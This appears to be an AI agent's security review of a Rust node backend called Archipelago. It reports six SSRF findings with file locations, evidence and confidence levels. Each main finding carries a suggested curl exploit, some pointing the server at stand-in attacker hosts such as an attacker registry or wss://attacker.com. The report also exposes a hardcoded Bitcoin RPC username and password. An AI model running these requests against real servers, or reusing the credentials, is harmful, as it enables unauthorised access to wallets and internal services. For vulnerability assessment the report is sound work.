The backend appears to be down currently. The analysis is based on thorough source code review. Let me compile the full findings. --- # SSRF Vulnerability Analysis — Archipelago ## Summary I analyzed the entire codebase for SSRF vulnerabilities across the Rust backend (`core/archipelago/`), nginx configuration, Vite dev proxy, and the `core/startos/` (inactive) codebase. The active backend has **3 confirmed SSRF vectors** and **1 dormant but critical one** in unreachable code. --- ## SSRF-001: Blind SSRF via `node-check-peer` (Missing Onion Validation) **Type**: Direct SSRF via Tor SOCKS5 proxy **Location**: `POST /rpc/v1` → method `node-check-peer` **Parameter**: `onion` **Source file**: `core/archipelago/src/node_message.rs:115-133` **RPC handler**: `core/archipelago/src/api/rpc/peers.rs:69-80` **Evidence**: `check_peer_reachable()` accepts the `onion` parameter and constructs an HTTP URL **without calling `validate_onion()`**, unlike `send_to_peer()` which does validate. The function: 1. Takes any string as `onion` (line 115) 2. Appends `.onion` if needed (lines 116-120) 3. Constructs `http://{host}/health` (line 121) 4. Sends via `socks5h://127.0.0.1:9050` Tor proxy (lines 122-127) 5. Returns boolean success/failure to the caller (line 130) Since there's no validation, an attacker can inject port numbers and URL components. For example, `onion: "validbase32chars.onion:9999"` results in a request to port 9999. The `socks5h://` protocol delegates DNS to Tor, and the response status is leaked via the boolean. Additionally, this endpoint has **zero authentication** and **CORS wildcard** (`Access-Control-Allow-Origin: *`), enabling drive-by SSRF from any website. **Confidence**: HIGH **Suggested exploit**: ```bash curl -X POST http://TARGET/rpc/v1 \ -H 'Content-Type: application/json' \ -d '{"method":"node-check-peer","params":{"onion":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}}' ``` Response `{"result":{"reachable":true/false}}` confirms the server made an outbound request via Tor to the specified .onion address. --- ## SSRF-002: SSRF via `node-send-message` (Validated but Still Exploitable) **Type**: Direct SSRF via Tor SOCKS5 proxy **Location**: `POST /rpc/v1` → method `node-send-message` **Parameter**: `onion` **Source file**: `core/archipelago/src/node_message.rs:66-112` **RPC handler**: `core/archipelago/src/api/rpc/peers.rs:50-67` **Evidence**: `send_to_peer()` calls `validate_onion()` (line 67), which checks: 56 chars of base32 (`a-z2-7`). This limits the SSRF to valid Tor v3 onion format, but: 1. Any valid-format onion address gets an HTTP POST with a JSON body (lines 74-79) 2. The request includes the node's own public key in the body (`from_pubkey`) 3. The response error messages are returned to the caller, leaking connection details 4. No rate limiting — can probe many .onion addresses rapidly The validation prevents port injection but NOT arbitrary .onion targeting. An attacker can force the server to POST to any Tor hidden service. **Confidence**: HIGH **Suggested exploit**: ```bash curl -X POST http://TARGET/rpc/v1 \ -H 'Content-Type: application/json' \ -d '{"method":"node-send-message","params":{"onion":"ATTACKER_ONION_56_CHARS","message":"probe"}}' ``` --- ## SSRF-003: LND REST Proxy — Unauthenticated Internal Service Access **Type**: Internal service proxy / partial SSRF **Location**: `GET /proxy/lnd/{path}` on port 5678 **Parameter**: URL path after `/proxy/lnd` **Source file**: `core/archipelago/src/api/handler.rs:158-188` **Evidence**: The handler strips `/proxy/lnd` from the path and constructs `http://127.0.0.1:8080{suffix}`, then performs `reqwest::get(&url)` and returns the full response including body and Content-Type. The host is hardcoded to `127.0.0.1:8080`, so this is limited to accessing localhost port 8080. Key concerns: - **No authentication** on the proxy endpoint - **Full path control** — any LND REST API endpoint is accessible - **Response body returned** — not blind, the attacker gets full response content - Port 8080 is shared: LND REST API AND the endurain app run on this port (per nginx config) - Backend binds to `0.0.0.0:5678` by default (`config.rs:193`), though the proxy through nginx serves SPA HTML instead (nginx falls through to `try_files`) **Confidence**: MEDIUM (host is hardcoded; exploitability depends on whether port 5678 is directly reachable or if nginx can be configured to proxy this path) **Suggested exploit**: ```bash # Direct to backend (if port 5678 is reachable) curl http://TARGET:5678/proxy/lnd/v1/getinfo curl http://TARGET:5678/proxy/lnd/v1/balance/blockchain ``` --- ## SSRF-004: Container Image Pull — Arbitrary Registry Fetch **Type**: Indirect SSRF via container registry pull **Location**: `POST /rpc/v1` → method `package.install` **Parameter**: `dockerImage` **Source file**: `core/archipelago/src/api/rpc/package.rs:9-84` **Evidence**: The `handle_package_install` handler accepts a `dockerImage` parameter, validates it only against shell injection characters (`is_valid_docker_image()` at line 786), then runs `podman pull {image}` (line 60). The validation blacklist is: ```rust let dangerous_chars = ['&', '|', ';', '`', '$', '(', ')', '<', '>', '\n', '\r']; ``` This allows arbitrary registry URLs like `attacker.com/malicious:latest` or `registry.evil.com:5000/image:tag`. The server makes HTTPS requests to the specified registry to pull manifest and image layers. **Confidence**: HIGH **Suggested exploit**: ```bash curl -X POST http://TARGET/rpc/v1 \ -H 'Content-Type: application/json' \ -d '{"method":"package.install","params":{"id":"test","dockerImage":"attacker-registry.com/probe:latest"}}' ``` The server will connect to `attacker-registry.com` to pull the image, confirming outbound SSRF. --- ## SSRF-005: Dormant Full SSRF in `marketplace.get` (Inactive Code) **Type**: Full arbitrary URL fetch (NOT in active backend) **Location**: `core/startos/src/registry/marketplace.rs:38-92` **Parameter**: `url` (type `Url` — accepts any scheme/host) **Evidence**: This is a **critical** SSRF — `marketplace.get` accepts a raw `Url` parameter and fetches it with the shared `reqwest::Client`, which has a Tor proxy for `.onion` addresses (`core/startos/src/context/rpc.rs:222-231`). No URL validation, no IP blocklist, supports `http://`, `https://`, potentially `file://`. Response content is returned in JSON/text/base64. **However**, this module is in `core/startos/` which is **not compiled into the active `core/archipelago/` binary** (Cargo.toml has no startos dependency). The RPC route table in `core/archipelago/src/api/rpc/mod.rs` does not register `marketplace.get`. **Confidence**: LOW (dormant code, not reachable on running server) **Note**: If this code is ever wired into the active backend, it becomes the most critical SSRF in the system. --- ## SSRF-006: Nostr Relay Connections — Config-Driven SSRF **Type**: WebSocket SSRF via configuration **Location**: `POST /rpc/v1` → methods `node-nostr-discover`, `node.nostr-publish` **Source file**: `core/archipelago/src/nostr_discovery.rs:157-345` **Evidence**: Relay URLs from `config.nostr_relays` (populated from `ARCHIPELAGO_NOSTR_RELAYS` env var, default: `wss://relay.damus.io`, `wss://relay.nostr.info`) are passed to `client.add_relay(url)` without validation. When Tor proxy is configured (default: `127.0.0.1:9050`), all relay connections route through Tor. Not directly user-controllable via RPC (relays come from config), but if an attacker can modify environment variables or the config file, they can redirect Nostr connections to arbitrary WebSocket endpoints. **Confidence**: LOW (requires configuration access) --- ## Additional Observations | Factor | Detail | |--------|--------| | **CORS wildcard** | All backend responses include `Access-Control-Allow-Origin: *` (handler.rs:15), enabling drive-by SSRF from any website | | **No authentication** | RPC API has zero auth middleware — all SSRF endpoints callable by anyone on the network | | **Nginx proxy exposure** | `/aiui/api/claude/` → Claude proxy (3141), `/aiui/api/openrouter/` → OpenRouter API, `/aiui/api/web-search` → SearXNG (8888). These are fixed-target proxies, not user-controllable SSRF, but enable unauthenticated access to internal services | | **TLS verification disabled** | LND client uses `danger_accept_invalid_certs(true)` (lnd.rs:56) | | **Hardcoded credentials** | Bitcoin RPC: `archipelago:archipelago123` (bitcoin.rs:89, electrs_status.rs:17) | --- ```json { "category": "ssrf", "findings": [ { "id": "SSRF-001", "type": "blind_ssrf_via_tor_proxy", "endpoint": "/rpc/v1", "parameter": "params.onion (method: node-check-peer)", "confidence": "high", "payload_suggestion": "{\"method\":\"node-check-peer\",\"params\":{\"onion\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}" }, { "id": "SSRF-002", "type": "ssrf_via_tor_proxy_with_data_exfil", "endpoint": "/rpc/v1", "parameter": "params.onion (method: node-send-message)", "confidence": "high", "payload_suggestion": "{\"method\":\"node-send-message\",\"params\":{\"onion\":\"VALID_56_BASE32_ONION_ADDRESS\",\"message\":\"ssrf-probe\"}}" }, { "id": "SSRF-003", "type": "internal_service_proxy", "endpoint": "/proxy/lnd/{path}", "parameter": "URL path suffix", "confidence": "medium", "payload_suggestion": "GET /proxy/lnd/v1/getinfo on port 5678" }, { "id": "SSRF-004", "type": "ssrf_via_container_registry_pull", "endpoint": "/rpc/v1", "parameter": "params.dockerImage (method: package.install)", "confidence": "high", "payload_suggestion": "{\"method\":\"package.install\",\"params\":{\"id\":\"probe\",\"dockerImage\":\"attacker-registry.example.com/ssrf-canary:latest\"}}" }, { "id": "SSRF-005", "type": "full_arbitrary_url_fetch", "endpoint": "marketplace.get (INACTIVE - startos codebase)", "parameter": "url", "confidence": "low", "payload_suggestion": "NOT EXPLOITABLE - code not compiled into active binary" }, { "id": "SSRF-006", "type": "config_driven_websocket_ssrf", "endpoint": "/rpc/v1 (methods: node-nostr-discover, node.nostr-publish)", "parameter": "ARCHIPELAGO_NOSTR_RELAYS env var", "confidence": "low", "payload_suggestion": "Requires config modification: ARCHIPELAGO_NOSTR_RELAYS=wss://attacker.com/" } ] } ```